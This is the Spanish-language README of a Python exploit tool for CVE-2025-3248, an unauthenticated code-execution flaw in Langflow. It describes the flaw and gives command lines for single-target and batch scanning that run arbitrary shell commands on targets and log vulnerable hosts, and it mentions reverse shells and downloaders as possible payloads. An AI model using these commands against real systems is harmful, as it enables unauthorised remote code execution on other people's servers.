
Langflow, al analizar y compilar el "código de verificación" enviado por el usuario mediante AST, invoca `compile()`/`exec()` de Python sin autenticación ni restricciones de sandbox (y en la fase de compilación evalúa los parámetros predeterminados de las funciones y los decoradores). Un atacante puede colocar una carga maliciosa en los valores predeterminados de los parámetros o en los decoradores, aprovechando esto para ejecutar declaraciones arbitrarias en el contexto del servidor (reverse shell, descargadores, movimiento lateral, etc.).
Una herramienta en Python para escanear y explotar la vulnerabilidad CVE-2025-3248, que permite la ejecución remota de código (RCE) en aplicaciones Langflow.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: URL objetivo (por ejemplo: http://10.10.10.1:7860)-f, --file: Archivo que contiene la lista de URLs, una URL por línea-c, --cmd: Comando a ejecutar (por ejemplo: id, whoami)--timeout: Tiempo de espera de la solicitud, 10 segundos por defecto-t, --threads: Número de hilos para el escaneo por lotes, 10 por defecto-v, --verbose: Modo detallado, muestra la respuesta originalpython cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
Crea el archivo targets.txt:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
Luego ejecuta:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] Ejecución exitosa[-] Fallo o error[!] Mensaje de advertencia[*] Salida informativaLos objetivos escaneados con éxito se guardan en el archivo vulnerable_targets.txt o vulnerable_targets_{command}.txt.
Esta herramienta es solo para fines de investigación de seguridad y educación. Los usuarios son responsables de su uso. Probar sistemas sin autorización puede violar leyes y regulaciones.